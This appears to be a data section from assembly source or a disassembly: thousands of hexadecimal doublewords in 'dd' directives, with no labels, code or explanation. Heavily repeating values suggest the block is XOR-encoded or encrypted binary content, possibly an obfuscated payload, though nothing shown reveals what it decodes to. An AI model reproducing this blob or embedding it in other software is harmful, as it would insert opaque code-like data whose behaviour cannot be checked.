		dd 1B156622h, 0D7F4FA18h, 0FFA0EF79h, 0DB12865Fh, 32156636h
		dd 468CCF5Fh, 35335378h, 5E68A432h, 71BF4C6Ah, 13BE2163h
		dd 32118A09h, 269C6644h, 32058F06h, 85156611h, 77499854h
		dd 52FEB744h, 926F61B8h, 0B71ABA2Bh, 3215669Ch,	321BE44Bh
		dd 3BFC6622h, 0B7156611h, 0E3F944E9h, 0D90095FBh, 3295664Ah
		dd 321C8F11h, 9B956688h, 110D20CFh, 5876476Dh, 23936911h
		dd 0DB156688h, 32156648h, 88B4D4DEh, 0AEF5D280h, 218A2AA6h
		dd 213CD3BBh, 547561C2h, 7EAB959Ah, 533B0A6Fh, 8D730624h
		dd 8C732D55h, 537492A8h, 2A4CF377h, 0DA7561A4h,	3215662Ah
		dd 1B747CFAh, 0D7FA93C1h, 321563ADh, 6D38F222h,	544E5904h
		dd 0CD74A003h, 0B14F4270h, 3AFC62E6h, 93156611h, 9288BC21h
		dd 0C7166643h, 177CEBA9h, 0B61A61F1h, 32156680h, 3217E64Bh
		dd 53756622h, 61E9DD42h, 33D23FA9h, 895B8915h, 0B34E7F23h
		dd 0F36DE420h, 303CA7B8h, 7CE657C5h, 60EC6F0Eh,	321562ABh
		dd 0B9C46788h, 0F6944250h, 32156626h, 321572F8h, 733DA888h
		dd 96AC2BFFh, 7319F700h, 4F8A7026h, 59B757EFh, 0BF9C9A51h
		dd 35F5434Bh, 0F4A28FE4h, 0DBEC9977h, 32154A76h, 321575CBh
		dd 9E0D4F11h, 493AB774h, 0E169C19Eh, 0F87BCCF5h, 0B567E5C3h
		dd 0B9EC0670h, 0D2300FC9h, 321F8F25h, 9E6611h, 5E560D0h
		dd 0B212463Bh, 369457DDh, 0A371E435h, 89463FCBh, 7EA464BBh
		dd 4B7FADA3h, 0D1941CB1h, 22111AC8h, 21AB8DC5h,	0EB3CAA4Dh
		dd 359C694Ah, 3D156688h, 321567C1h, 0BF9C9F22h,	35F2B3D9h
		dd 3219E487h, 0B01A6644h, 32156624h, 3215EF1Eh,	0A946688h
		dd 7E51320Ah, 32F9E32Dh, 54E06611h, 7E111E09h, 0ED90696Ah
		dd 0DB156622h, 32156617h, 0D29A0BBDh, 38FCE7A5h, 6D156622h
		dd 472B4B9Ch, 0AC6CA9E5h, 0F19C3508h, 0BBCDEF72h, 3D4E3ED7h
		dd 3215730Ah, 3D946944h, 0DB156622h, 3215661Bh,	0D0F0AE8Ch
		dd 5B903A7Ah, 8946840Fh, 32156617h, 2E9EB889h, 36D1E760h
		dd 0DB156622h, 3215661Ah, 39AB6CB8h, 3C2A7288h,	0B9587FC0h
		dd 0D20D7B94h, 2A97698Fh, 0DB156644h, 32156631h, 976AC4ECh
		dd 0A0F7572Fh, 7F8A0000h, 74D839F7h, 52607F6Bh,	32156960h
		dd 30D5E044h, 0CBC47880h, 91F3A4B8h, 45B45F7Bh,	1D56ACC5h
		dd 524E080Eh, 0B00DD977h, 32157260h, 2BA66C44h,	0E1D91EFEh
		dd 0E4BA39B6h, 0D2751735h, 3DD690CCh, 53743C8Bh, 321079F8h
		dd 96A30688h, 321AE54Bh, 3BFD6622h, 38156611h, 0FC03B2A2h
		dd 0AB67F325h, 0DE94077Dh, 32156615h, 0B3316201h, 20BB4270h
		dd 0B34B2EC4h, 0D407C8E7h, 0B91A06C0h, 32156640h, 940BD944h
		dd 321D8F71h, 0F4FD6688h, 74E83C9Ah, 4BAAD188h,	5377A8ACh
		dd 0F2AA06E9h, 0DB12D440h, 3215662Eh, 3EE122C9h, 73224452h
		dd 0E34F9C6Ch, 269E3643h, 36D1E535h, 32156861h,	0BE69D444h
		dd 81AC942Eh, 0B3E36067h
		dd 5269646Ah, 3211ED4Bh, 89736622h, 0E39F8CA9h,	52DC57E9h
		dd 4F8D822h, 321568CBh,	0EEE80E11h, 296949B4h, 0BEA450B8h
		dd 5346C311h, 32299ABDh, 334DE287h, 0B61A6644h,	32156623h
		dd 3D385AEDh, 0CDEA810Ch, 1C299ABBh, 32ACE22Dh,	0EE06611h
		dd 7B9769B8h, 3D156641h, 321576AAh, 321E8F11h, 0A5596688h
		dd 0B951EB90h, 63E712F1h, 2492698Ah, 0DB156688h, 32156655h
		dd 6289C4AAh, 0E36E1A1Eh, 0EFB96124h, 539E640Fh, 3D2C5A4Ah
		dd 0CDEAFD97h, 0B71A9F77h, 32156645h, 3D545ADBh, 32119993h
		dd 68299388h, 0CD97E04Bh, 0BC1A99DDh, 32156619h, 54FAECE8h
		dd 53B5F8FBh, 32156ACBh, 5084C611h, 1FD8426Bh, 0ADDF0B3Ah
		dd 3D4A5AA3h, 0CDEA3D95h, 53299377h, 36D3E44Bh,	0EEC6622h
		dd 7B93696Bh, 3DEA9977h, 321571C7h, 32078F22h, 0C35F6611h
		dd 8CE29549h, 0F92722AAh, 559E7E3Ch, 3625F66Eh,	368F8F71h
		dd 64EC6644h, 3215679Ch, 6CE76711h, 3212EA87h, 3D756644h
		dd 6C459D95h, 3DE75F70h, 32111D0Ch, 8F409E44h, 59DF7E3Eh
		dd 46F0E754h, 0F31926A8h, 0D7946EA9h, 22FD3975h, 72148B90h
		dd 0D8146680h, 3FFC0619h, 30156622h, 7387C78Bh,	7D7BCFF5h
		dd 0AA00A806h, 3217E52Dh, 0EB9E6611h, 3FC57E9h,	77FC5789h
		dd 0CA758FA5h, 0A53B92ABh, 23FC07ADh, 9E156644h, 8E022D52h
		dd 0A2E4AD9Ah, 0F21D15DAh, 5C22CF30h, 0CDEBF9CBh, 0FB9093EEh
		dd 361FE287h, 3D756644h, 321560A0h, 32906911h, 0DB156688h
		dd 32156643h, 0CBD37BD9h, 53B90B51h, 3288D305h,	0B81A61A4h
		dd 32156631h, 321568F8h, 547AD188h, 64A7DDC4h, 0DC3D13A9h
		dd 60DCB79Fh, 0B3316A03h, 32156280h, 32068F22h,	0BDBF6611h
		dd 159C866Fh, 0BA6F7970h, 3CBDE5B2h, 297BDB64h,	0E19C35DEh
		dd 524E3917h, 3210E52Dh, 8AAC6611h, 8033B1DBh, 517D07BAh
		dd 0BB15665Dh, 99A6420Dh, 0C195AD76h, 36F6A696h, 0F195ADDCh
		dd 69CDEEBEh, 0CF60C870h, 0FA940024h, 53ED9EE9h, 0C29406EDh
		dd 3F00BCEEh, 321560ADh, 61694122h, 53966F17h, 2352DDDBh
		dd 0EB3C6355h, 0B3EC4F79h, 230421D0h, 32058F8Dh, 0CAD26644h
		dd 54C88FE1h, 319EF297h, 85D6788Ch, 0E3E266EDh,	3214A7A3h
		dd 3DFC6611h, 2E156688h, 11BDD86Dh, 8AD7753Dh, 4C4459CCh
		dd 0F5944F21h, 5F472E3h, 8847A90Bh, 17813A8Fh, 0D894B47Fh
		dd 909FE8FEh, 3D4FB10Bh, 32157290h, 321A8F88h, 5FA86644h
		dd 0B308CA65h, 0A0BABDEEh, 0F8612DE7h, 6D433154h, 0B33152A9h
		dd 321562D5h, 3E976988h, 3D156644h, 321560ACh, 32976911h
		dd 0C1156688h, 85469AE0h, 0CD52A0BCh, 0CD62E612h, 0CD6A4E15h
		dd 32138F1Fh, 0DBEC6622h, 91AB94EAh, 3288F305h,	3BFC61A4h
		dd 4B156622h, 3A2DFFF4h, 34AA1867h, 12D4E3CFh, 0CE7561C2h
		dd 6FCCE777h, 0F29007EAh, 3265E34Bh, 3DED6622h,	3215709Ch
		dd 229E6988h, 0DB156644h, 32156629h, 4C8DAF82h,	1D1AFF9Ah
		dd 0F45D0C4Dh, 0D2123FA7h, 0C7ED2116h, 0A8B2B4E0h, 3D750690h
		dd 0B973B095h, 0CD7407C2h, 0D23C4B3Dh, 32128F43h, 28C36622h
		dd 95641C7Fh, 0DA90EB15h, 5212853Bh, 3216EE2Dh,	0DC956611h
		dd 0B21A3609h, 32156644h, 0E2EA077Dh, 321DEB1Eh, 0BC1A6688h
		dd 32156646h, 1D7D0742h, 0BB15664Fh, 21FC429Ch,	39156644h
		dd 0DEEDAC6Eh, 0BC3945D6h, 5643034Fh, 8B39A26Ah, 0E2EA6907h
		dd 53D2EC71h, 3DD5E371h, 321581C1h, 321D8F22h, 70AC6611h
		dd 6D9CAE00h, 0B79E7815h, 35F5794Fh, 3DD5E3E9h,	3215110Dh
		dd 0B7D39A44h, 35F5617Bh, 0DE95065Dh, 3099694Fh, 60156644h
		dd 3FFC0778h, 71156611h, 4E989AA0h, 2DDA05B5h, 7B7C3F0Dh
		dd 0E8098F79h, 3E916951h, 3D156644h, 321560A2h,	329D6911h
		dd 0CD156688h, 0D23C4BF1h, 32078F25h, 0B0226611h, 0C2286785h
		dd 59C1D340h, 2E72F4F5h, 0D1E66BA5h, 4DFDE305h,	3CFC61A7h
		dd 3B156622h, 0AEA6F9BDh, 46A974FBh, 0B98D4AB1h, 0CBC599C5h
		dd 32655C79h, 1601EF88h, 0F2940024h, 0C746EF59h, 0E2EA0749h
		dd 3214EB87h, 0DBE96644h, 32156625h, 42D00C75h,	0B76FF0C2h
		dd 17906984h, 52156622h, 0EDA26971h, 2BFC07E9h,	0DB156645h
		dd 32156636h, 680D7196h, 3DE5A8FFh, 8538BA58h, 4A4F8DC1h
		dd 99FCEFBBh, 0E7DDE301h, 0B27561A3h, 0B61A8FFBh, 32156612h
		dd 530F8108h, 321574ADh, 31C40E22h, 0AF9ED89Bh,	3BEE386Fh
		dd 2DD1892Ah, 601AD4A8h, 0F0948498h, 3215668Ch,	0B5118CC7h
		dd 0BB494236h, 3BFC4215h, 95156688h, 33CF6392h,	0B754ECEEh
		dd 3219E61Eh, 0BA1A6688h, 32156642h, 3215E12Dh,	0BB456611h
		dd 32116368h, 0DA966644h, 1611E126h, 1621EF4Dh,	32078FE8h
		dd 9F686644h, 1A9B9C2h,	1ADEB244h, 1DB6A4DCh, 0A160FA99h
		dd 5301A9A2h, 4925E39Ch, 0CDE9616Bh, 2B966994h,	52156622h
		dd 321576F8h, 93D26C88h, 0BBE109F1h, 0C8EFAEE1h, 41A2DB05h
		dd 5307D5D7h, 0B71AA64Fh, 32156613h, 321E8F71h,	0DF5E6688h
		dd 1CE91542h, 407FBCEh,	379C696Eh, 88156688h, 12FA6C82h
		dd 13FC9E43h, 0CA156611h, 32156E61h, 0A8B9E844h, 0CD326C89h
		dd 1651EF70h, 8C430694h, 20B6FAA9h, 60D5E77Bh, 53157CD6h
		dd 32138FE9h, 0D3FA6644h, 0C64B594h, 3D759AD2h,	32156500h
		dd 0C39E0044h, 5BCBDE44h, 0DB750670h, 32156680h, 0A71453B9h
		dd 1B884BB0h, 321D8F70h, 0A17C6688h, 0C90A5DFEh, 0BF9ED83Ah
		dd 35F2B3D9h, 321DE387h, 0B91A6644h, 32156620h,	0BB420771h
		dd 36D2E76Fh, 0B3156644h, 321562CDh, 1629E111h,	1611EFD4h
		dd 3D7506B1h, 321566ABh, 32198F11h, 0C2BC6688h,	493C5514h
		dd 7EEED52Eh, 5474D54Bh, 5362D431h, 32680D2Ch, 1609EF22h
		dd 0EA9CAD98h, 3FFC06D3h, 0BB156644h, 0B7B775DDh, 0CB34230Eh
		dd 167FDB51h, 82BA80C5h, 0CE7446FFh, 0BB118A92h, 0EAF429Ch
		dd 33156644h, 681765E0h, 32048FE4h, 76056688h, 8F7715A8h
		dd 2A0DE3C7h, 4F09D824h, 0CDCE0ADEh, 3215EEF4h,	1621E722h
		dd 71F41D60h, 43AC37D2h, 356873Fh, 52E03FE8h, 3459DD77h
		dd 0BB74893Bh, 0D21D93D1h, 0C7950625h, 32068F28h, 82156688h
		dd 73BE4102h, 0AE27E1F6h, 6D5EDED1h, 163EDC2Bh,	8C430711h
		dd 578147ADh, 0F31780D0h, 0C4946E66h, 79B42943h, 0E3E2A8A5h
		dd 0DCD4A896h, 0C7D3E78Dh, 33EF3FFDh, 847538D2h, 321D8EC6h
		dd 0A0596688h, 883D675Ah, 34FCAD60h, 5C156611h,	0E0EDA0Fh
		dd 0CD7438B8h, 269E6A52h, 36D1E735h, 0CA156688h, 66CF3CDh
		dd 0B9ED61C2h, 0BB474215h, 36D7E76Ah, 0B3156644h, 321562E0h
		dd 1601E111h, 3A9D69D4h, 3D156644h, 321564A1h, 52740611h
		dd 5475A33Eh, 63C380C5h, 3215EE2Dh, 53746611h, 16311277h
		dd 0B13162CFh, 3FFC62E6h, 64156611h, 0BD785379h, 0E99487A4h
		dd 0E20719FBh, 3219EE1Eh, 0B81A6688h, 32156642h, 3215E42Dh
		dd 88476611h, 16B775B3h, 1B4FB66Dh, 212E63EAh, 9EC42B3h
		dd 0D2211F0Dh, 4976943h, 0C7156622h, 3AE0E32Ah,	0B11A6168h
		dd 3215666Dh, 53CDED42h, 18AA0670h, 0B2320EB0h,	0F0744C95h
		dd 0BE1A6626h, 32156600h, 32156A61h, 0B7C8F44h,	1D1EA92Dh
		dd 2B962904h, 0BE1A0784h, 32156648h, 3213EA2Dh,	0B41A6611h
		dd 32156688h, 32316283h, 0CD1B0729h, 36944215h,	2120A5ACh
		dd 1639E723h, 476126E6h, 321560F8h, 0CD377488h,	0F5C99CB6h
		dd 0B0114266h, 60688877h
		dd 0DC73E432h, 16415739h, 0B21A3C2Ah, 3215660Fh, 320DE587h
		dd 21FC6644h, 0D5156622h, 4BF9EC88h, 0EF2E5645h, 0BE433BF4h
		dd 5ADB99ECh, 604045A9h, 32156332h, 68C0EF44h, 0CB488EABh
		dd 7CFDEB9Ch, 8A756168h, 0DBE40D9h, 53E8A7A2h, 3CFC87EEh
		dd 58156688h, 0DDB5D3FCh, 0D55ADF04h, 28E9B931h, 0B11A0624h
		dd 3215665Dh, 321572CBh, 8E3D6511h, 0DD7A10A2h,	91F527FBh
		dd 48226327h, 0CEE98F61h, 32AF3489h, 33156644h,	32AE35D0h
		dd 33156611h, 6916EC5Bh, 0DBE9061Eh, 3215662Eh,	0E2F53E2Dh
		dd 9AE7D37Ah, 0F07E4703h, 3DFC5A43h, 32140595h,	0B3730688h
		dd 54093E9Bh, 6A2DB1A3h, 3DFD5A70h, 3214190Ch, 0C99E0644h
		dd 3D1A5A43h, 32155495h, 0FF299E88h, 33D5E24Bh,	3BFC6622h
		dd 0B3156611h, 94378568h, 0DB388060h, 0B61A8D1Eh, 321567E1h
		dd 0F1E90774h, 379C6924h, 54156622h, 82EF8F90h,	62747938h
		dd 6E79DC16h, 5FAD7E33h, 30D774Dh, 0C2143C58h, 0CE4D7ECEh
		dd 54178AA1h, 84317298h, 54E64678h, 54759F1Eh, 0DD698FA3h
		dd 53C5D11Eh, 3D959D08h, 0CDEADEC1h, 73AE06DDh,	3D7CDD1Ch
		dd 3215640Dh, 5368D244h, 1621E774h, 3EE515C8h, 0AAAD36D3h
		dd 0C578544Dh, 0F3CD91FAh, 75D62F1h, 4B2C7A77h,	1B04C169h
		dd 6AD657BFh, 219E6971h, 0DA156688h, 32156649h,	5F0CA498h
		dd 87F39AFAh, 885B4806h, 6074396Ch, 3BBC0E72h, 174D3912h
		dd 151A442Ch, 4C0BA769h, 50F66B08h, 0CB20333Fh,	0BBC8C86Bh
		dd 0E1143E86h, 32138F78h, 0BA616611h, 197DE1D2h, 38C9E624h
		dd 63749FA9h, 321564A8h, 31E46788h, 1619ED5Dh, 3211A2A3h
		dd 0B91A6611h, 32156692h, 23FD9E24h, 0CE156622h, 0E4111D70h
		dd 0ECF5407Ch, 0C0B9F88h, 0F4EBE0C2h, 0A9FC0748h, 52156688h
		dd 68F3E722h, 98AD0063h, 0BA1A0772h, 32156698h,	32156DADh
		dd 0B9BFC422h, 4D4AD158h, 0E28CABD0h, 0B91410BBh, 0F696423Eh
		dd 0B9EC0615h, 0C996075Bh, 0F29169BFh, 52156622h, 32156AF9h
		dd 0D478E488h, 0C0300C00h, 5D108B9Ah, 8D08D995h, 534D4166h
		dd 0BBE5EF14h, 1611EDE1h, 3211A290h, 5AEC6688h,	32155765h
		dd 8A3162ABh, 32156610h, 2A169689h, 8C439F1Ch, 32156627h
		dd 4CCAA590h, 0C1143DE0h, 4CCA8DC5h, 524B3D4Ah,	321EE51Eh
		dd 34FC6688h, 3B156644h, 7B8FBC36h, 6CFC0711h, 3DEA9976h
		dd 321567CFh, 841A9A22h, 0B1E0674Fh, 0B61A4863h, 0CDEA980Dh
		dd 321560CBh, 55B05911h, 525E7621h, 32156BACh, 0A0781022h
		dd 17CD68C4h, 88FAE2B0h, 0B373709Bh, 69EDADEBh,	2AFC07E4h
		dd 0DB156688h, 3215664Ch, 0DF0626BDh, 0EA11532Fh, 0CC141808h
		dd 0CC12E34Bh, 0DBED99DDh, 0CDEA9AC0h, 32156A61h, 3269E44h
		dd 240D8594h, 9A2AF8FBh, 3C380E22h, 69C6644h, 33976906h
		dd 0CB156611h, 337C0E70h, 3E9C6644h, 0CC9F0606h, 6B990E70h
		dd 2E9C6688h, 321E8F60h, 2876622h, 0CDBB8687h, 0C06C9D66h
		dd 23C0EE0h, 0E9C6622h,	321B8F35h, 0D8016688h, 0FCB9E420h
		dd 0DD426A7Dh, 0F391FCE6h, 23FCA6B9h, 0B1156644h, 0CC00BA86h
		dd 927E894Ah, 4EABF30Dh, 0AD1AEF5Ch, 321A8F8Eh,	84DF6611h
		dd 4A1845FEh, 4F301173h, 0CD995B87h, 36F9E72Dh,	0BB156688h
		dd 0F49D4250h, 524F95AAh, 320DE11Eh, 21FC6688h,	6D156644h
		dd 19866EEEh, 0D84FCBAEh, 29325042h, 0D22765BDh, 0D19F8F48h
		dd 61440070h, 0CB9D963Fh, 54DE461Fh, 0C9959A7Bh, 15916961h
		dd 0DB15668Eh, 32156654h, 6EF29DBEh, 10F4C54Dh,	76F961E4h
		dd 0C9F36CCCh, 3D1A5AD7h, 32144195h, 38996988h,	52156644h
		dd 3215EC2Dh, 6C456611h, 3DFC5AE9h, 321EF2C0h, 269A6922h
		dd 52156611h, 32156D61h, 0E1AC3444h, 0CB153B40h, 2465473Bh
		dd 0E749C03h, 0F89169AFh, 0DB15662Dh, 32156603h, 18B7F06Ah
		dd 5455CAF8h, 54A02861h, 2BBCA87Fh, 0D1293F32h,	31F3E24Bh
		dd 0B91A6622h, 32156616h, 3214E687h, 0EE96644h,	0FC9169C0h
		dd 0DB156601h, 32156680h, 70733733h, 3D070A1Dh,	6D3152EEh
		dd 3211A209h, 38FC6644h, 14156622h, 4948B956h, 3D826B98h
		dd 16219999h, 36D1E779h, 0DB156611h, 32156684h,	0FF9B74C1h
		dd 2693805Dh, 22B69BA8h, 61316A03h, 0F19485CDh,	32156626h
		dd 0B511A592h, 52494294h, 646AB7C5h, 0BF1A6D3Eh, 32156613h
		dd 0B9749103h, 0BB424270h, 36D2E7C5h, 0B3156611h, 3215624Fh
		dd 1629E144h, 3FFC067Eh, 0C156611h, 29B41312h, 78B689A7h
		dd 3EDCD905h, 6A5073AEh, 0DBD607ABh, 3215664Ah,	0EA428995h
		dd 0CF111E75h, 6D7627C8h, 3FFC620Fh, 93156622h,	6F98E921h
		dd 6A946AD9h, 703C1E6Bh, 0E48DE3E5h, 321361F6h,	0BD1A6688h
		dd 32156655h, 32156ACBh, 2E72F411h, 0D1E66B3Ch,	9B5AFDC3h
		dd 3595696Ah, 3D156611h, 32156702h, 5A449F44h, 32156622h
		dd 0B8E46748h, 54753F91h, 0B28107FCh, 52748BF2h, 4FB2A990h
		dd 8B735114h, 6074576Ch, 0B21AD171h, 0CC9D99E6h, 68E646D3h
		dd 321572ADh, 520ADC22h, 9F2F959Fh, 6069FEAFh, 66E6B6C3h
		dd 0FF7ECCDh, 0B2EEE642h, 0CCC3E387h, 0B61A99BBh, 3215662Eh
		dd 3213E11Eh, 0B21A6688h, 32156644h, 0CDEADF73h, 0FC1499EEh
		dd 32078FD1h, 0E21B6644h, 727577D2h, 0FD711B9Bh, 0AEABD31Eh
		dd 3F46E8h, 1CE3A9h, 0B11A61F1h, 32156689h, 0BB80EDB8h
		dd 52128631h, 53C6ED77h, 1639E7DEh, 23181B1Fh, 69AB3079h
		dd 33046B6Ch, 3CFC387Bh, 0E3156644h, 0EB7CAF20h, 444E119Ch
		dd 1E665076h, 38AC06BAh, 541C759Bh, 0C419B890h,	347D33E9h
		dd 6F156644h, 0DB488D23h, 32156603h, 0D881B1E5h, 0CEEB1AA0h
		dd 7056DC29h, 0E78DA02Bh, 8B44CE74h, 32156646h,	3888A7A3h
		dd 0C3141644h, 38888F09h, 2B161611h, 3EFC067Bh,	0CE156611h
		dd 157D15BAh, 0DC4A8669h, 5344B039h, 320DE91Eh,	21FC6688h
		dd 0FD156644h, 48DB47C2h, 0AFB0FBC0h, 0FC2ECD99h, 49585BA8h
		dd 0EA2E5382h, 321FE41Eh, 9E96688h, 0D393699Eh,	0CEEA99DFh
		dd 1A0D847h, 0C13C368Fh, 0B3EE4F1Ah, 3526D3E1h,	0EC9E0641h
		dd 53CDEDEEh, 0BB118AC7h, 34A8420Eh, 1B156611h,	22FC3B63h
		dd 3E156644h, 0A7758A61h, 4760D07Ah, 9226DFFAh,	5420A2B9h
		dd 9973938Fh, 32156AF8h, 56119788h, 0BE568AB0h,	7C9D8E27h
		dd 3CD57FDh, 0DBCD574Bh, 3215664Dh, 890D084Ah, 2A9D147Bh
		dd 62E0CD4Dh, 1129DC16h, 72AD7CEEh, 1B0FAA32h, 0F4143C58h
		dd 3D90691Ch, 0DB156622h, 3215661Bh, 6BECC76Bh,	131A4D07h
		dd 38FCF281h, 3D156611h, 809C4343h, 95398CC8h, 1629EF0Ch
		dd 91CCE771h, 5379B3B5h, 321575ADh, 70D20322h, 0C3C8A487h
		dd 697B9BFAh, 22377BFBh, 7ACB22E8h, 3E311298h, 53DEEDE8h
		dd 13F6E724h, 3D5F1885h, 32156692h, 879C0788h, 35F54599h
		dd 321577CBh, 0BDA76C11h, 1C5EBF77h, 0D44BBE45h, 0BEE33DD5h
		dd 0E9E327Fh, 0D09C34ACh, 3211A4C5h, 0F0946622h, 32156615h
		dd 6E31720Fh, 339E69BDh, 0CB156622h, 693152EEh,	0DB11A20Bh
		dd 32156648h, 0BE7C6413h, 6189F55Ah, 0DB6723AEh, 60316ACFh
		dd 0F09484ABh, 32156615h, 3211A409h, 26926644h,	52EC3A06h
		dd 32156BF8h, 4012388h,	14FFE87Dh, 23EBCD2Ch, 0F79FBB97h
		dd 1621EDE9h, 0B3F4EF15h, 321562E3h, 36D4E511h,	6E316A0Fh
		dd 321AE14Bh, 38FC6622h, 4E156611h, 41D17541h, 9177DFEh
		dd 61BE0E25h, 69C6611h
		dd 0B3F3EFACh, 32156282h, 36D3E522h, 6E315296h,	0ED7B8F71h
		dd 37FC99BBh, 0CD156622h, 2837A9A1h, 0E48DE34Fh, 321761A3h
		dd 0BD1A6622h, 32156606h, 32157461h, 0B5875144h, 0CD8F0EB2h
		dd 0E321F72Bh, 0B3F2C0BFh, 5AB8E025h, 32155216h, 69315298h
		dd 0E1A269E8h, 3D74A0CFh, 54756894h, 535EBCA9h,	3D959F08h
		dd 3215E5C7h, 39916922h, 52156611h, 3215EC87h, 851A6644h
		dd 0B3E907F0h, 491E27FAh, 65DE67B4h, 0CA4396FBh, 0F5942909h
		dd 78E227Ah, 5FD1A909h,	0D5944149h, 65A701E0h, 5CFCA190h
		dd 0DD941791h, 4E25AD2Eh, 0CA4A9D23h, 3214DC43h, 0E1146688h
		dd 269A691Eh, 3D156622h, 3215689Bh, 321C8F88h, 91096644h
		dd 0E5350903h, 0DB1A7C60h, 3215663Dh, 321575ADh, 87622122h
		dd 60CF3A74h, 513980CDh, 1EB8571Ch, 7F71AD52h, 32178A90h
		dd 0BB736688h, 0CDA54240h, 6A73A70Ah, 851A3571h, 9CA03878h
		dd 0C5449F25h, 3E9E423Eh, 36D1E735h, 3D156688h,	321567C6h
		dd 8D429A22h, 4D1F2260h, 8E9BA109h, 0CB34E6B1h,	0B1315AA9h
		dd 20FC62D5h, 0E5156688h, 28BD2970h, 5F1389A2h,	0B01A50F3h
		dd 0EF7DFFFDh, 0FFAA31ABh, 0B36CB347h, 6B19BEF6h, 0DD9421EFh
		dd 2DDF67DBh, 1B4A9D0Bh, 18D6E7DAh, 0DB54E18Bh,	32156656h
		dd 0EB8F2C3Eh, 2DE5A09h, 2A85B101h, 66632779h, 0B3753FA2h
		dd 32CC14CAh, 0C5AC319Bh, 6D5D25E0h, 3B90ED43h,	52128623h
		dd 83C4EDEEh, 0A79E0760h, 35F575ABh, 0EB9E0071h, 3217ED87h
		dd 12A26644h, 9FA8E543h, 33128610h, 3652E287h, 35FC6644h
		dd 0D5156622h, 1107FEACh, 0F12C59C1h, 3626E44Bh, 0DBED6622h
		dd 3215661Ah, 9AA60D08h, 8A50E29Ah, 0BC92C34h, 4B9769C2h
		dd 0CAEA9972h, 321172ADh, 0B7D29322h, 35F2B089h, 3215668Ah
		dd 32128F24h, 64786622h, 315AF30Dh, 0C19E00A0h,	6A433625h
		dd 3D4DA5ABh, 32157793h, 32198F88h, 544E6644h, 8DEBF786h
		dd 457D8597h, 841A4644h, 339D694Ah, 0CB156622h,	37946971h
		dd 54156688h, 2D8E96C5h, 0CB9507DEh, 4D966991h,	0DB156688h
		dd 3215664Bh, 9EC7DBF3h, 0E7BFCAEFh, 88270B9Eh,	65A887C0h
		dd 7172739Dh, 52FAE72Eh, 0C53021DEh, 65E2E793h,	0B30F8352h
		dd 0CB6DFFF6h, 34F2A78Fh, 186E91C5h, 0C93C44CDh, 0B3DE674Eh
		dd 0DB395D4Bh, 3E95695Eh, 3D156622h, 32156098h,	32926988h
		dd 60156644h, 32156798h, 68C66711h, 32078FE8h, 0A9766644h
		dd 119F8059h, 7ACFA50h,	0D7B7D5ADh, 8FB1A30h, 5314A4A2h
		dd 3215F0F8h, 5A739E88h, 0BB732FDEh, 0CDA14226h, 6A738739h
		dd 309869E8h, 0B9156644h, 3DFC35F1h, 2B156611h,	8229C9ADh
		dd 82D90186h, 126EAB90h, 534E84F2h, 0F824B7B9h,	0E8E2B775h
		dd 60E0B7A5h, 0B04669ABh, 61DFE784h, 0B3055F48h, 0DB6A09E0h
		dd 2AB3016h, 0C57FA39Ah, 5D3E792h, 33A5EE67h, 0E0E238E3h
		dd 0B3178C49h, 0A8101386h, 68C447F8h, 0C39E0071h, 0CE747A3Ch
		dd 6A0E8DC5h, 0D9941CF7h, 5DAE5AD4h, 0F194ADA1h, 5DAE5A81h
		dd 6A0EA5A3h, 8B751CC4h, 60F0A21h, 0B97491CFh, 0D2276FA7h
		dd 32188F16h, 0BBAB6688h, 0E5CAA7E1h, 669C1934h, 0B99E11ACh
		dd 0D206EF1Dh, 8F969F43h, 35F5678Fh, 48916910h,	0DB15668Ah
		dd 3215664Fh, 0D7599AFBh, 4197B36Fh, 9A86230h, 3C97699Ch
		dd 0CE156622h, 0B41AB528h, 0CDEA9E30h, 0AAFCE624h, 36963043h
		dd 3D4B9935h, 32156804h, 0B11A0644h, 32156622h,	3215EB1Eh
		dd 82746688h, 61286ADEh, 0EDE39C95h, 0EDE3A1EFh, 12258908h
		dd 0E2E33DBCh, 0EAE3AEDCh, 98E0E215h, 3219E287h, 0BD1A6644h
		dd 32156624h, 3215E51Eh, 88476688h, 32156644h, 89469423h
		dd 32156611h, 399FB589h, 52753C1Fh, 0A718B8A3h,	0DFA51157h
		dd 321C8FE9h, 0CDEE6644h, 40F106B7h, 5365E1A3h,	3216E387h
		dd 0C7756644h, 36F9E543h, 87316A98h, 6BFDEE08h,	379F6924h
		dd 88156622h, 341A7BA0h, 6074BE02h, 627376F2h, 0E2E396AAh
		dd 6A73A099h, 0F2578808h, 0C49563A2h, 68E4468Dh, 3214E91Eh
		dd 3AEC6688h, 2599698Ch, 3D156622h, 32157799h, 32198F88h
		dd 35AF6644h, 55543A78h, 2B606494h, 0DBBFFE36h,	32156650h
		dd 0E9ABBCA2h, 50C97D8Dh, 9CAF1AC8h, 0D28C1BB5h, 0C78FD829h
		dd 0F92D847h, 0C494007Ch, 763F7BAEh, 1B4B9523h,	5FFEE7EAh
		dd 5237B8A8h, 6CB5D313h, 0EE71B7A3h, 0B1741C2Fh, 3E9C6264h
		dd 3211DF60h, 0F93C6622h, 32188F48h, 0BBD86688h, 0C6DFC6EEh
		dd 6064F958h, 3CE2A3Bh,	3D65750h, 52BE9F9Ch, 205FA498h
		dd 67420763h, 32156435h, 6FFAEF44h, 0CE4A9823h,	11C8D398h
		dd 54756168h, 3D8B85FDh, 0F574969Dh, 0D214CB94h, 3215678Fh
		dd 32198F44h, 0B6F96622h, 9AA2FB2h, 0A3727B2Ah,	0BB440F1Bh
		dd 36D4E7C3h, 0B1156611h, 3E926249h, 1631ED60h,	0ECAD0642h
		dd 0DB3FB776h, 32156686h, 4896FC50h, 0B2580616h, 44ED0249h
		dd 5274DFA5h, 3215EC4Bh, 851A6622h, 0CD7407CAh,	0B34E42BCh
		dd 32156280h, 8D1A0622h, 0CB749FDAh, 65316A03h,	0F59481CDh
		dd 32156626h, 3211A190h, 0E926688h, 0BF1A3A60h,	32156623h
		dd 0D09C34E4h, 3211A409h, 0F0966644h, 46EA3426h, 0BD4F6235h
		dd 5249428Ch, 0DBBCB7C4h, 32156627h, 0A2B90AD0h, 8B7507CFh
		dd 0D1A1025h, 53098CA2h, 0B3F3EF47h, 3215624Eh,	36D3E544h
		dd 16619974h, 369A3815h, 0B61A3AACh, 3215664Ch,	3217EF2Dh
		dd 53756611h, 0CDCCF961h, 32068FBBh, 0E5C96622h, 68CA28DCh
		dd 0FC66FE4Ch, 37400C90h, 2524C4E5h, 33AD3603h,	1B156688h
		dd 82E03E82h, 36F5A650h, 0EAE38EC1h, 0F22AD0DAh, 0D49565A2h
		dd 3AFBA6CBh, 0C495B0E7h, 68E56EF4h, 36178E84h,	0DBBF938Fh
